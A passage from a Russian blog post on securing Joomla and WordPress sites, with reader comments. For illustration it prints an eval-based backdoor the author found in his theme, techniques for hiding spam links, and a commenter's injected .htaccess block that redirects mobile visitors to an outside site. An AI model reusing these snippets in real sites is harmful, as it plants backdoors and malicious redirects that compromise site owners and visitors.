  4. Также советуют установить права доступа на файлы и папки движка не выше тех, которые реально требуются для его работы. На самом деле, я особо не думая поставил по шаблону:755 на папки и 644 на файлы. Устанавливать права можно все с помощью той же Файлзилы. Причем указанные права нужно применять не только для каталогов корневой папки, но и для всех каталогов и файлов, которые лежат внутри них.

    На файлы в корневой папке я поставил права 444, а на каталоги tmp и logs — 705. Можно было бы, конечно, и более жестко «зажать», но у меня в этом нет особого опыта, а тратить время на эксперименты было некогда. Да и к тому же все это не шибко-то серьезно сдержит хакеров, ибо существуют варианты смены прав доступа средствами языка PHP, что все наши старания может свести на нет. Для этого используют подобные команды:

    <?
    chmod ("file_name_1.php", 0666);
    chmod ("directory_name_2", 0777);
    ?>

    Поэтому для полного «бетонирования» файлов движка Joomla от взлома и посягательств нужно запретить на выполнение смену прав доступа к файлам и папкам через PHP. Делается это в настройках сервера, но я пока не знаю как и где. Если знаете, то киньте ссылочку.

  5. Все вышесказанное призвано снизить вероятность взлома вашего сайта и проникновения на него шелов и прочих зловредов. Однако, предпринятые меры предосторожности не дают гарантии, поэтому было бы замечательно на сервере (где живет ваш сайт на Joomla ) запретить выполнение шелов. Это позволит снять весь негатив от просочившейся нечести. Однако, лично я опять же это еще не осуществил по причинам свой «темности». Буду признателен за ссылки на поясняющие сей процесс материалы.
  6. Очень часто ломают сайты, получив доступ к административной панели. Понятно, что она защищена паролем, поэтому методом брутфорса (умного подбора) многие, даже казалось бы сложные пароли ломают на раз-два. Поэтому админку тоже нужно защищать, и лучше это делать не с помощью дополнительных расширений, а именно средствами сервера. Вариантов защиты существует несколько. Например, можно изменить тем или иным образом Урл адрес админки, чтобы взломщик не мог бы начать свое грязное дело.

    Другой метод защиты, который будет в подробностях описан ниже, заключается в создании дополнительной преграды на пути взломщика (живого человека или скрипта). Заключается он в запароливании директории с файлами админки (в Joomla это папка administrator, а в WordPress — wp-admin) средствами веб-сервера. Получается, что при обращении к админке сначала нужно будет ввести логин и пароль для доступа к папке, а уже потом логин и пароль для доступа, собственно, к админке движка. Причем, ломая первый рубеж обороны методами брутфорса, зловред не будет создавать сколь-нибудь значимой дополнительной нагрузки на сервер, что есть хорошо.
  7. Еще одним очень важным, на мой взгляд, замечанием по повышению защищенности ваших сайтов от вломов и заражения вирусами является соблюдение правила: одни сайт — одни аккаунт на хостинге. Да, это дороже, но намного безопаснее. При размещение на одном аккаунте, сразу все ваши сайты будут доступны по ФТП при получении доступа зловреда лишь к одному из них. Ломают сайты на автомате, и надеяться на то, что скрипты не пойдут вверх по дереву каталогов, было бы не разумно. К тому же, лечить пачку сайтов на одном акке хостинга очень тяжело, ибо занимаясь одним сайтом вы упускаете из вида уже вылеченный, который в это время заражают.
  8. Ломать, кстати, могут не только с вашего же сайта, но и с сайта вашего соседа по хостингу, если владельцы должным образом не позаботились об исключении этой возможности. Могут взломать и панель хостинга (типа, сипанели), но в любом случае число взломов по вине хостера мизерно по сравнения с числом взломов по виде беспечности владельцев сайтов.

Как защитить админку своего сайта от взлома?

Я хочу в деталях рассказать о том методе защиты, который совсем недавно использовал сам. Заключается он в запрете доступа к папкам, где лежат файлы административной панели сайта. Запрет устанавливается с помощью замечательного файлика .htaccess, который, по сути, позволяет дистанционно управлять настройками вебсервера, на котором установлен ваш сайт. При этом он умеет делать это избирательно.

Все директивы, прописанные в .htaccess, будут распространяться исключительно только на тот каталог, внутри которого он находится. Хотите что-то изменить в настройках применительно ко всему сайту? Помещайте тогда .htaccess в корневую папку. Ну, а нас интересуют настройки касательно только папки с файлами админки, поэтому мы его туда и поместим. В Joomla это будет папка administrator, в в WordPress — wp-admin.

Однако, одним .htaccess нам не обойтись. Придется задействовать еще и .htpasswd, где будет храниться логин и пароль для доступа к этой самой административной папке. Причем пароль будет храниться не в открытом виде, а в виде MD5 шифра. Восстановить по нему пароль не получится, но зато при вводе правильной комбинации в поле пароля, веб-сервер посчитает для этой комбинации MD5 сумму и сравнит с тем, что хранится в .htpasswd. Если данные совпадут, то вас пустят в админку Joomla или WordPress, а если нет, то не пустят.

Вот и все, осталось только воплотить намеченное в жизнь. Нужно ведь какие-то директивы в .htaccess добавить. Вы знаете какие? Я не знаю. Да и как-то нужно будет пароль перегнать в MD5 последовательность. Проблема. Однако, она имеет довольно простое решение. Добрые люди организовали онлайн-сервис по генерации содержимого для файла .htaccess и файла .htpasswd на основе придуманных вами логина и пароля. Правда, придется еще и абсолютный путь до административной папки указать, но это уже мелочи.

Вот, теперича абсолютный путь нужно ввести до папки administrator или wp-admin. Знаете такой? Даже если не знаете, не беда. Подключаетесь к сайту по ФТП, создаете в его корне файлик с любым названием (да хоть с таким url_path.php) и добавляете в него такой вот простой код:

<?php
echo 'Document root: '.$_SERVER['DOCUMENT_ROOT'].'<br>';
echo 'Полный путь к скрипту и его имя: '.$_SERVER['SCRIPT_FILENAME'].'<br>';
echo 'Имя скрипта: '.$_SERVER['SCRIPT_NAME'];
?>

Потом заходите в браузер и вводите в адресную строку вот такой вот Урл (с вашим доменом, конечно же):

https://ktonanovenkogo.ru/url_path.php

В результате увидите тот самый интересовавший вас абсолютный путь. Вводите его в указанном выше генераторе файлов .htaccess и .htpasswd. Не забудьте добавить в конце этого пути название папки administrator или wp-admin без слеша на конце. Все, теперь жмете по кнопочке «Сгенерировать»

И по очереди переносите содержимое для файлов .htaccess и .htpasswd непосредственно в эти самые файлы.

Надеюсь, что вы их уже создали в папках administrator или wp-admin (в зависимости от используемого вами движка)?

Ну, а теперь уже пробуйте зайти в админку. Появляется окно с предложением ввести логин и пароль от вашего веб-сервера? В разных браузерах оно отрисовывается по разному, но в Хроме оно выглядит так:

Если что-то не клеится, то «курите» абсолютный путь до .htpasswd, прописанный в файле .htaccess. В этом случае просто вручную его поправьте при редактировании файла. Вот и все, что я хотел вам сегодня рассказать. Если хотите поругать или что-то добавить, то в путь.

Вирус в WordPress?

Уже после написания этой статьи обнаружил на своем блоге (https://ktonanovenkogo.ru) зловреда (или что-то такое, что установилось в обход моей воли). Я просто хотел что-то там поменять в коде и залез в файл footer.php из папки с используемой темой оформления. В самом его низу, непосредственно перед тегом Body, мне бросился в глаза вызов какой-то незнакомой мне функции (гуглил по ее названию, но ничего путного не обнаружил):

<?php wp_custom_page_links_return(); ?>

Название вроде бы вменяемое. Примечательно, что недели за три до этого я случайно обнаружил, что у меня появилась новая таблица в базах данных двух моих блогов на WordPress (https://ktonanovenkogo.ru и еще одного). Название у нее было просто замечательное — wp-config. Гугление по этому названию опять ничего путного не дало, ибо все ответы были связаны с одноименным файлом wp-config.php.

Таблица эта здорово быстро росла в размерах (до сотни мегабайт на https://ktonanovenkogo.ru) и в нее писались адреса страниц моего сайта с различными параметрами. Не поняв сути сего процесса, я просто снес эту таблицу и все. Кстати, у меня есть еще один блог на WordPress, но там ничего подобного не наблюдалось.

Ну, а вот тут обнаружил такую «говорящую» вставку в тему. Решил зайти в файл functions.php и поглядеть, не добавилось ли там чего-то созвучного с описанной выше строчкой внизу футера. Оказалось, что добавилось. Причем так аккуратненько — ни в самом верху, ни в самом низу, а второй (или третьей) сверху вписанной функцией:

function wp_custom_page_links_return()
{
	$option = get_option('wp_custom_page_links');
	@eval($option);
}
@eval(get_option('wp_brlinks'));

Тут и замечательный «eval» в глаза бросается. Что примечательно, Айболит (описанный выше) нашел этот фрагмент подозрительным, но у меня пока еще до него руки не дошли, ибо этот скрипт уж очень многих подозревает в неблагонадежности. По поводу этого кода я тоже гуглил и нашел пост (к сожалению, сейчас тот домен блокировали за неоплату) с описанием похожей проблемы. У товарища эта гадость просочилась с новой темой, в которую был зашит какой-то установочный код.

У меня же темы на обоих заразившихся блогах стоят уже по много лет. Наверное, была какая-то уязвимость в движке или используемом мною плагине, которой оперативно (на потоке) воспользовались недоброжелатели. В общем, проверьте у себя отсутствие подобных вкраплений. Дата изменения описанных файлов приходилась, по-моему, на середину сентября этого года.

Советую так же посмотреть подборку из 17 видеоуроков по обеспечению безопасности сайтов на Joomla. Они будут воспроизводиться один за другим автоматом, а если хотите, то можете переключаться на следующий урок с помощью соответствующей кнопки на панели плеера или выбрать нужный урок из выпадающего меню в верхнем левом углу окна плеера:

Видео уроки по Джумла 3

Сайт на Joomla выдает ошибки — Strict Standards: Non-static method JLoader::import () should not be called statically in

Один из сайтов на Joomla , которые я делал в 2009 году (на заказ), стал ни с того ни с сего выдавать целую простыню ошибок вида Strict Standards: Non-static method JLoader::import () should not be called statically in. Что примечательно, прокрутив несколько экранов можно было и сам сайт обнаружить, но кто из посетителей захочет это делать.

Ошибки Strict Standards: Non-static method JLoader::import() should not be called statically in

Как я понял, связано это было с тем, что хостер обновил версию PHP до 5.3. Как устранить причину возникновения этих ошибок я не стал разбираться (надо было функции, которые вызываются, объявить статическими). В интернете нашел совет внести правку в файл php.ini на сервере, чтобы отключить вывод информации об ошибках на экран, ибо они на работу самого сайта никакого влияния не оказывают.

Мне предлагали изменить два параметра в файле конфигурации php.ini, а именно «error_reporting» и «display_errors» в разделе «Error handling and logging». Т.е. изначально было:

error_reporting = E_ALL | E_STRICT
display_errors = On

А после правки должно стать:

error_reporting = E_ALL & ~E_NOTICE
display_errors = Off

После этого перезагружаем веб-сервер и наслаждаемся отличной работой Joomla. Однако проблемный сайт живет на виртуальном хостинге, где понятно каким образом можно добраться до php.ini.

Универсальное решение для любого сайта

Поэтому я использовал файл для удаленного управления сервером под названием .htaccess. Живет он в корне вашего сайта (нужно будет подключиться к нему по ФТП), а если его там вдруг не окажется, то просто создайте его в текстовом редакторе и залейте в корень сайта.

В .htaccess надо будет добавить всего лишь две новых строчки (можно в самом низу):

php_value error_reporting 30711
php_flag display_errors off

Все, после этого сообщения «Strict Standards: Non-static method JLoader::import () should not be called statically in» перестали беспокоить посетителей данного сайта на Joomla . Буду рад, если эта информация вам пригодится.

Приятного просмотра!

Что плохого в бесплатных шаблонах для Joomla и WordPress?

Собственно, только русскоязычных ресурсов с каталогами готовых шаблонов можно насчитать уже довольно много. Ну, а в буржунете их вообще не счесть. Вроде бы все так замечательно — ставь движок, находи подходящий шаблон (не секрет, что платные шаблоны не так уж и сложно найти в бесплатном доступе), скачивай его и наслаждайся профессиональным дизайном своего новенького сайта. Останется только добавить на него ценный контент и можно будет наблюдать за ростом популярности в сети вашего ресурса.

Но не все так просто и очевидно. Когда я еще давным-давно написал статью про варианты получения бесплатных и платных шаблонов для Joomla, то получал довольно регулярно от читателей по почте рекомендации удалить из списка тот или иной сервис, ибо в размещенных там шаблонах находят скрытые ссылки или даже вирусы. Получается, что пословица не врет — бесплатный сыр бывает только в мышеловке. Разработчики бесплатных шаблонов (или те, кто «нулит» платные) просто-напросто таким образом зарабатывают деньги и, судя по размаху, немалые.

Скрытые ссылки на сторонние (и зачастую занесенные поисковиками в черный список) ресурсы, а уж тем более вирусы, могут убить все надежды на раскрутку вашего ресурса (или серьезно их подорвать и попортить нервы). За это можно довольно легко получить фильтр, а то и бан от поисковиков, либо блокировку из-за того, что ваш сайт заражен вирусом. Как себя от всего этого уберечь при выборе шаблона?

По собственному опыту могу сказать, что «любителю» очень трудно тягаться с «профессионалом». В самом начале этой публикации я приводил ссылку на статью про вирусы, которыми были заражены большинство моих сайтов. Произошло это более двух лет назад, и за это время я уже не раз повторял эпопею борьбы за «чистоту кода», но по-прежнему с завидной регулярностью на ряде зараженных ресурсов происходят рецидивы (то спам-рассылка с них ведется, то дорвей формируется, то еще что-то мне совсем непонятное происходит, приводящее к чудовищно большой нагрузке на хостинг).

При этом я использую все доступные «нубу» методы поиска шелов и прочих бэкдоров в коде этих сайтов, но опять же повторюсь, что любителю тягаться с профи просто не под силу. Поэтому если вы думаете, что прокравшийся через шаблон вирус вы легко выведете, то, скорее всего, вы ошибаетесь. Дело это очень муторное, жутко раздражающее (когда вирусная активность, несмотря на все ваши предпринятые усилия, проявляется снова и снова) и отнимающее очень много времени и сил.

То же самое касается и скрытых ссылок. Хорошо, если вам попадется вариант их внедрения из прошлой эпохи, когда простым поиском по содержимому файлов через Тотал Коммандер можно будет найти место вставки и навсегда избавиться от них, получив в итоге чистый и бесплатный шаблон. В большинстве же случаев все намного сложнее. Для поиска места вставки скрытых ссылок понадобится софт (например, плагин TAC), но и он не всесилен, ибо бизнес по распространению ссылок через бесплатные и платные (взломанные) шаблоны для Joomla и WordPress приносит очень хороший доход, что стимулирует практикующих его людей к поиску новых решений, позволяющих сделать их «закладку» мало заметной.

Собственно, сегодня даже оперативно проверить шаблон на генерирование «левых ссылок» бывает довольно сложно. Например, вы скачали шаблон, поставили его на сайт, добавили контент и решили посмотреть, а не появились ли с него какие-то подозрительные (не вами проставленные) внешние ссылки. Их нет. Вы довольны, забываете об этой проблеме, занимаетесь наполнением сайта и его раскруткой, а потом вдруг случайно обнаруживаете (сами или после сигнала от поисковиков в виде фильтра или бана), что скрытые ссылки все же есть и ведут они на такую «гадость», на которую вам самим никогда бы и в голову не пришло ссылаться.

Самое обидное при этом, что на снятие фильтра и «обеление» сайта в глазах поисковиков может уйти очень много времени (месяцы и даже годы в некоторых случаях). А дело тут в том, что разработчики таких «закладок» в курсе того, что вы про них знаете и проверяете сайт после установки шаблона на предмет «излишеств всяких нехороших». Поэтому они тормозят начало генерации этих самых ссылок на некоторое время, достаточное по их мнению, чтобы даже самый мнительный юзер уверовал в чистоту доставшегося ему на халяву шаблона.

Причем скрытые ссылки теперь так закодированы, что не ищутся по словам md5 или base64 (зачастую их подгрузка вообще происходит с внешнего источника). Просто набор букв и спец символов, которые никак нельзя найти через поиск по всем файлам шаблона. А этих файлов может быть не одна сотня. Плюс появляются ссылки не сразу. То есть фактически нельзя никак вебмастеру (среднестатистическому) их обнаружить на этапе создания сайта.

А за ссылочный спам — это Гугл Пингвин (либо Панда) или АГС, если сайт и так особо ценности не представляет (на бесплатных или нуленных шаблонах создаются практически все ГС в рунете). Однако это не мешает заработку нечистых на руку разработчиков или посредников. Встречал на Серче предложения об услуге зашивки ссылок клиента в халявные шаблоны, которые потом выбрасываются в паблик и активно распространяются. Т.е. это все уже оформлено чуть ли не в легальный бизнес.

Как увидеть скрытые ссылки и где не стоит брать шаблоны

Топ 5 ресурсов, с которых однозначно не стоит скачивать ни расширения, ни шаблоны можно оформить наверное так (по личному опыту и по отзывам тех, кто мне в свое время отписывался):

  1. Joomla-Master.org — буквально нашпигованы эти шаблоны ссылками (сразу смотрите в \шаблон\html\com_content\article"", но и в других местах тоже много чего можно найти)
  2. Web-Creator.org
  3. Wp-Templates.ru
  4. Design4Free.org
  5. JoomFans.com

В принципе, увидеть скрытые ссылки ведущие с вашего сайта можно, например:

  1. С помощью программы Xenu Link Sleuth. Достаточно будет просто просмотреть все ведущие со страниц вашего сайта внешние ссылки, и если что-то вызывает подозрения, то посмотреть каким образом она вставлена на указанной программой странице.
  2. Либо можно воспользоваться сервисом Линкпад, но если ваш сайт уже в возрасте, то замучаетесь все это дело вручную анализировать.
  3. Можно еще задействовать инструмент проверки ссылок на отдельных страницах (все внимание на правую колонку с внешними ссылками) от pr-cy.

Вообще, фантазия у «редисок» размещающих скрытые ссылки богатая. Раньше использовались, например, такие способы, но сейчас все уже могло поменяться и разнообразиться:

  1. Самый простой вариант, это когда ссылка размещается в области копирайта (в районе надписи, на каком движке работает данный сайт).
  2. Возможен более хитрый вариант, когда, например, в папке с картинками размещается файлик в формате Html с нужным текстом и ссылками. Вы о нем не подозреваете, а поисковики лазят везде и вполне могут счесть его за одну из страниц вашего сайта. Это, кстати, еще один повод закрыть все ненужное (служебные директории сайта) от индексации в robots.
  3. Зачастую для того, чтобы вы или ваши посетители имеющиеся левые ссылки не нашли, их прячут средствами CSS. Например, добавляют к ним свойства:
    1. text-indent: -9999px (или -999em);
    2. display:none
    3. visibility:hidden
    4. position: absolute; left: -22222px
    5. Ну, и еще наверное с десяток нехитрых способов
  4. Добавленные в код шаблона ссылки раньше активно шифровали с помощью BASE64 (этим способом даже картинки можно зашифровать), чтобы неопытные пользователи не смогли найти их по Урлу. Сейчас, конечно же, все знают, что это такое и как эти вставки отыскивать, проверять (расшифровывать) и удалять.
    $str = 'PGRpdiBzdHlsZTsdgvvgd
    fhGxlZnQ6LTEwMjQzcHg7dfghdfFGHmPSJodHRwOi8vd3d3Lnp
    vb2ZHGjkhjsdGl0bGU9Inpvb2ZpcJtYS5ydkjsdglkm;lKHJG4='
    ; echo base64_decode($str);?
    Самое простое, это выкачать шаблон на компьютер и провести поиск по содержимому его файлов (можно, например, при помощи Тотала) на предмет нахождения таких слов, как md5 или base64.
  5. Но высока вероятность, что все будет намного сложнее. Ссылки будут прописаны где-нибудь в php файлике шаблона и никаких подозрений у вас этот код не вызовет, если вы, конечно же, не специалист. Искать такие закладки нужно уже с помощью специальных расширений (например упомянутого чуть выше плагина TAC для WordPress). Но не все можно найти и обезвредить вовремя. И не факт, что это гадость не вылезет снова, а жить на пороховой бочке не очень-то улыбается.

Поэтому проверять свой сайт на наличие не санкционированных вами внешних ссылок нужно, но их отсутствие вовсе не гарантирует их не появление в ближайшем будущем. Нужно проверять сам код шаблона еще до его установки, но опять же, методов проверки стопроцентно гарантирующих результат не существует. Эта область не настолько «вкусная» в плане полученной выгоды, чтобы создавался серьезный софт все это дело оперативно отслеживающий и удаляющий (на манер антивирусов). Кстати, большинство из таких антивирусов входят в состав онлайн сервиса ВирусТотал, что несколько облегчает задачу, ибо сервис этот бесплатный.

Кстати, еще одна проблема связана именно с удалением «закладки». Зачастую, даже найдя с помощью каких-то плагинов или расширений место вставки скрытых ссылок, вы ничего с ними поделать не сможете. Например, шаблон может отслеживать их наличие и не работать, если не обнаружит в нужном месте кода их вставки. Да и просто ваше банальное незнание языка PHP (или хотя бы его синтаксиса) может не позволить вам грамотно удалить «закладку», не зацепив чего-то жизненно важного для работы сайта.

В этом случае остается только доверить свой сайт профи для чистки, но тут опять же нужно найти спеца, которому можно довериться. В общем-то умный (либо находчивый) человек может решить практически любую проблему, но по-настоящему мудрый — постарается ее вообще не создавать. Имеет смысл в этом плане быть чуть умнее и стараться избегать ненужных проблем, пусть и решаемых.

Варианты безопасного получения шаблонов и расширений

Лично я сейчас уже не могу похвастаться былой беспечностью и трижды «дую на воду». Во избежании заражения непосредственно с моего компа, я обезопасил Файлзилу и пароли в нее передаю из хранилища в Кипасе.

Ну, а во избежании заражения через шаблон я предпочитаю заплатить денежку, чтобы потом не разгребать ворох проблем. Другое дело, что денежку можно заплатить большую, а можно и не очень большую. Я лично выбираю второй вариант, но сначала поясню суть первого.

Кое-что, конечно же, можно найти и в официальных репозиториях этих движков (читайте про то, где можно безопасно скачать бесплатные темы для WordPress и зайти на официальный сайт расширений для Joomla), но, во-первых, выбор там существенно ограничен, а во-вторых, в такие же «одежки» будут одеты еще многие тысячи сайтов по всему миру, что несколько снижает уникальность вашего проекта и в глазах посетителей, и в глазах поисковиков.

Однако, в мире существует очень много профессиональных компаний, занимающихся разработкой платных шаблонов для Joomla и WordPress. Априори (что это значит), у них закладок быть не должно, иначе они мгновенно растеряют авторитет и доверие клиентов. Однако, цена на один шаблон у них может составлять 50-100 долларов в зависимости от его функционала и новизны.

Кроме этого могут возникнуть некоторые проблемы с оплатой (придется знакомиться с такой системой международных платежей, как Пайпал, либо рискнуть и совершить покупку с оплатой напрямую с пластиковой карты). Однако, в результате вы получите заведомо «чистый» шаблон, что есть хорошо. Правда, идущая с ним в нагрузку техподдежка будет актуальна лишь при вашем знании языка, на котором она осуществляется. В большинстве случае знание русского языка вам в этом деле не поможет.

Второй вариант мне больше нравится в силу его более высокой рентабельности (соотношении потраченных денег к полученным возможностям), хотя по отношению к разработчикам он и не совсем «белый». Суть его заключается в том, что Joomla и WordPress распространяются по лицензии типа GNU/GPL, т.е. лицензии на свободное программное обеспечение ( такое ПО можно использовать, копировать, модифицировать и распространять). Собственно, об этом я уже писал и раньше в упомянутой в самом начале статье о шаблонах Joomla.

Если не вдаваться особо в подробности, то суть заключается в том, что и расширения (шаблоны, плагины и т.п.) для этих движков не могут являться частной собственностью авторов. Да, за них можно требовать плату, но вот наказать или преследовать по закону за несанкционированное использование или распространение этих расширений уже будет невозможно. Несмотря на это, рынок платных расширений для Joomla и WordPress огромен, хотя и не защищен законом об авторском праве. Наоборот, GNU/GPL лицензия на 100% защищает Вас от разработчика.

Многие компании разработчиков, кстати, предоставляют доступ к своим шаблона по подписке. Т.е. вы платите определенную сумму и в течении определенного времени может скачивать и дальше на постоянной основе использовать все их творения (шаблоны или расширения). Собственно, и второй способ безопасного получения тем оформления для WordPress, а также шаблонов для Joomla строится на примерно таком же принципе.

«Показал мне на него пальцем» не так давно мой товарищ, которого я упоминал в ряде статей (он уже несколько лет ищет идеальный вариант построения интернет-магазина, и на этом пути находит много такого, что мне кажется интересным и в дальнейшем активно используется). Речь идет о складчине премиум шаблонов и расширений CmsHeaven.org.

Суть складчины довольно простая — купить продукт и раздать всем, кто участвовал в складчине. В CmsHeaven.org еще больше упростили схему — тут не нужно скидываться на отдельные шаблоны или расширения, которые вам нужны. Вы просто оплачиваете временный доступ ко всему каталогу, который имеется в распоряжении этого сервиса (несколько тысяч наименований, разбитых для удобства поиска по движкам, авторам и тематикам).

Каждый из представленных продуктов был честно куплен у разработчиков на деньги складчиков (имеются и бесплатные шаблоны, но они опять же представлены известными брендами, которые им нужны в целях рекламы). И что немаловажно, организаторы постоянно пополняют каталог новыми экземплярами (с пылу с жару, что называется), которые еще долго придется ждать в паблике. Многим это придется по душе.

В общем, такой вот кооператив, куда можно вступить и пользоваться всеми благами. Но с некоторыми ограничениями. Дело в том, что организаторы хорошо понимают, что без введения ограничений весь их каталог утечет в паблик на раз-два. Поэтому имеет место быть ограничение на 36 скачиваний в месяц. Этого вполне достаточно обычному вебмастеру, фрилансеру и даже компании по созданию сайтов.

При этом гарантируется отсутствие в представленных расширениях и шаблонах «закладок» (скрытых ссылок, вирусов, троянов и «стучалок», которые сообщают разработчику о сайте использующем их шаблон). В виду этого покупаются только продукты известных брендов с открытым кодом, где можно все это проверить и при необходимости устранить.

Часть расширений переведена на русский язык, а при возникновении проблем с установкой или настройкой техподдержка обещает оказать помощь, что зачастую бывает ой как необходимо (наверное уже не раз прочесывали интернет в поисках решения возникшей на ровном месте проблемы). Этим, кстати, и отличают бесплатные движки от платных, что нет поддержки пользователей как таковой.

Да и скачивать понравившиеся вам продукты можно будет с нормальной скоростью и без просмотра рекламы на файлообменниках. Пустячок, ибо для получения вожделенной «няшки» можно и горы свернуть, а не только с файлообменником повоевать, но именно из пустяков складывается комфорт.

Вообще идея и ее реализация мне очень понравились, а вот пользоваться ли бесплатными шаблонами из репозиториев Joomla и WordPress, вступать ли в складчину на CmsHeaven.org или покупать шаблоны напрямую у разработчиков решать придется вам самим. Только «умоляю вас, не ешьте на ночь сырых помидоров», то бишь не скачивайте халявные продукты со всяких «замечательных» ресурсов, ибо можно массу проблем получить в нагрузку. А оно вам надо?

Удачи вам! До скорых встреч на страницах блога KtoNaNovenkogo.ru

Комментарии и отзывы (36)

2bota.ru

никогда не подумал бы что вирусы сунут на сайты пользователи, а не админ. пока сам не столкнулся, спасибо за статью, сейчас буду лечить моего «малыша»

Андрей

Дмитрий, меня вот тоже что-то последнее время ломают. появляется какая-то папка в различных других папках домена и одноименный архив. сразу же увеличивается посещаемость из США, а в метрике эти посещения по 0 секунд. даже как то письмо какое то приходило из какого-то буржуйского банка, что от меня плывет какая-то зараза. написал в службу хостинга, там че то поудаляли, я поменял везде права доступа ко всем папкам, пароли, однако сегодня повторилась та же песня. уже не знаю как с этим бороться. Bass-player.ru если интересно. Спасибо за пост в тему и вовремя!

Михан

Используйте dle и будет вам счастье... Там свой антивирус.

Руслан Богданов

Вот и у меня такая же ерунда чётко под новый год всплывает.

На этот раз ещё интереснее получилось, чем в прошлом году. Началось с того, что некий кекс полностью скоммуниздил мой bestfree.ru, чуть подправил и выложил как свой собственный gold-free.ru, а мне оставил на память записи в robots.txt и htaccess, делающие редирект на его сайт.

Трафик упал заметно но не на 100 процентов. Я сразу не обратил внимания, потом только знакомый подсказал, что что-то неладно. Я покопался и нашёл в robots.txt проблему. Почистил, поругался и забыл.

Через некоторое время смотрю — снова трафик упал. Думаю, что за фигня... Покопался — а в htaccess тоже стоит переадресация, да ещё и какой-то огромный блок мутного текста.

Всё почистил. Вроде наладилось. После нового года — опять та же фигня. Думаю, да что за такое!

Снова почистил, поменял все пароли, написал в техподдержку хостинга.

И тут самое интересное! Техподдержка говорит, что они 2-3 дня назад закрыли одну уязвимость во FreeBSD. То есть, часть косяка скрывалась в самом хостинге, а точнее в его операционной системе.

Так что — будьте внимательный, враг может прийти и с прикрытого вроде бы тыла 🙂

Руслан Богданов

P.S. Забыл добавить, что тот огромный блок текста показывал мобильным посетителям не мой сайт, а предлагал установить какой-то левый браузер.

Андрей

Руслан Богданов, я конечно извиняюсь. Но ты мог бы мне написать, как должен выглядеть корректный .htacsess? может и у меня там что то не то, а я тут воду переливаю туда-сюда... ну или может кто то может мне объяснить просто как он должен выглядеть? заранее благодарен за содействие! надеюсь на вашу помощь!

Юля

Получилось оставить комментарий, а то два часа назад ваша форма мне выдала «Слишком быстро пишите комментарии. Помедленнее»))) жду ответа

Григорий

Вот фрагмент вашей статьи: «...на компьютере стоит антивирус и считывается, что достаточно будет...».

У меня создалось ощущение, что в нем имеет место опечатка. Похоже, что вы хотели сказать «считается».

Александр Логинов

У меня периодически не пропускают твиты в Твиттер.

Как проверить свой Твиттер-аккаунт на вирусы?

Владимир

Как это все до боли знакомо:) Прям 1 в 1 и даже в это время — ноябрь 2012. Очень полезная и поучительная статья. Жалко только что ее не было в тот момент, когда пришлось изводить нечисть:)

Руслан Богданов

Андрей, корректный htaccess у всех будет свой. Есть целые сайты посвящённые его настройке. Могу сказать, что у меня вставили вот такого рода лишний блок:

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]

RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]

RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]

RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]

...

RewriteCond %{REMOTE_ADDR} ^213.102.(?:1[45]|2[0-2]|3[01]) [OR]

RewriteCond %{REMOTE_ADDR} ^90.137.[1-5]?[0-9] [OR]

RewriteCond %{REMOTE_ADDR} ^90.137.6[0-3] [OR]

RewriteRule ^(.*)$ http://updateqr.com/s/9740 [L,R=302]

Там ещё много чего было вместо многоточия, но структура та же самая. То есть, этот код отслеживал, с какого устройства заходит посетитель, и если с мобильного, то перенаправлял на своотвествующий сайт.

Руслан Богданов

P.S. Пардон, не сразу заметил, что код нужно в теги php заключить. Дмитрий, если не сложно — поправьте пожалуйста (или удалите, если считате нужным 🙂

Андрей

И на том спасибо!

Андрей

Если кому интересно, ответили из службы поддержки хостинга. Сказали заблокировать запросы с IP, а с файлом .htaccess все нормально. =)

Юля

У меня везде всё чисто — и В Гугле Вебмастере, и в Ядексе. Обновила все что просилось обновиться, установила Surfpatrol.

А Доктор веб, который сканер , вчера вирус нашёл, которого у них в базе нету...

А хостер на вчерашнее письмо, 5, откуда вирус — опять ответил — Мы разбираемся, потом... А потом может быть совсем ...

Сергей

Дмитрий, благодарю за доходчивую статью. И отдельно благодарю за смелость опубликовать подробный анализ своей беды на пользу всем читающим.

В моей практике был случай, когда банк из Бразилии прислал депешу хостинг-провайдеру (Агава) об атаках с сайта моего знакомого. Агава заблокировала сайт. По просьбе знакомого я разбирал ситуацию. Коротко говоря, проблема вылезла из трояна, выудившего из почты логин-пароль на FTP доступ. Всё пришло в норму после полного перезалития на хостинг движка, смены пароля и чистки антивирусом компьютера знакомого. Ну и недолгих разборок с техподдержкой Агавы, к их чести, они всячески помогали (похвалу не считать рекламой! 🙂 ).

Acunetix

еще немного о безопасности http://habrahabr.ru/company/pt/blog/141520/

с обновленным браузером и плагинами в рунете ходят не более 10%, у всех остальных есть по крайней мере одна уязвимость

Виталий

То же пришлось столкнуться с подобной проблемкой. Но я просто удалял файлы сайта и заливал новые с локального сервера, посли этого предуприждение о вредоносном коде исчезало.

Александр

Отличная статья получилась, призадумался о безопасности своего сайта. Спасибо, Дмитрий.

Дмитрий

to Александр Логинов.

Александр, полагаю, что просто длина Ваших твитов превышает максимальную длину, допускаемую к опубликованию на твитере...

Артур

Здравствуйте Дмитрий!Спасибо за ваш труд во благо вебмастеров.

Хотелось бы узнать все ваши действия по защите блога, ваше мнение насчет надежности движка «вордпресс», не помню на каком ваш работает, все равно жду вашего ответа.

татьяна

Понятно, в собака зарыта, я конечно не асс в компьютерных разборках, но теперь и мне понятно, почему мой сын постоянно переустанавливает Винду, как он выражается. Ведь всякие интересные красочные рекламки и так далее несут в себе , такие страсти о которых вы рассказываете. Спасибо Вам.

Владимир

Прочитал статью, и стало как — то жутковато. Я ведь чайник в во всех вопросах проверки и защиты сайта. Многому у Дмитрия учился и учусь (давно подписался на рассылку новых статей). Вот теперь новая заморочка. Надо разбираться с техникой проверки сайта и его надёжной защиты. Спасибо за статью, Дмитрий!

Людмила

Здравствуйте, Елена! Мне всегда очень интересно читать ваши уроки, в них для меня много интересного и полезного,

Вадим

А я вот с этими ребятами работал http://revisium.com/. Пролечили и защиту поставили до Нового Года. До сих пор никаких вирусов.

Дмитрий

Дмитрий,благодарю за весьма насыщенную и опытную статейку.Не забывайте,что можно зараженный сайт перезаписать на сохраненную здоровую копию.

Олег

А мне файлы зараженные с сайта не грохнуть. Толи вирь, толи хакеры поменяли права на зараженные файлы и никак их не удалить ни через фтп ни через ssh 🙁 Кто что посоветует?

Дмитрий

Олег: думаю, что нужно попросить сделать это хостера. У меня возникали подобные проблемы и хостер без проблем пошел навстречу.

Анастасия

